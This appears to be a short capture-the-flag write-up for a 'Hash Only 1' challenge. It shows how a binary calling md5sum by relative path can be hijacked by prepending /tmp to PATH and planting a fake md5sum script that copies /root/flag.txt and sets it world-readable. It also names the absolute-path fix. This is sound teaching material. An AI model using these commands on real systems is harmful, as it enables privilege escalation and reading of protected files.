## Hash Only 1 – Relative File Paths

Upon inspection of the flaghasher binary, we see that it is referencing the md5sum command without an absolute file path

## Hash Only 1 – Relative File Paths

```
L—$ which md5sum
/usr/bin/md5sum
```

A more secure way to use the md5sum command would be to use the command's absolute file path, which would be /usr/bin/md5sum

## Hash Only 1 – Path Hijacking

```
export PATH=/tmp:$PATH
```

```
ctf-player@pico-chall$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin
```

Since the binary doesn't reference md5sum with an absolute filepath, we can add a user-controlled directory to the PATH where the system looks for commands

## Hash Only 1 – Path Hijacking

```
echo 'cat /root/flag.txt > /tmp/flag.txt & chmod 777 /tmp/flag.txt' > /tmp/md5sum
```

And then create a malicious md5sum file in that directory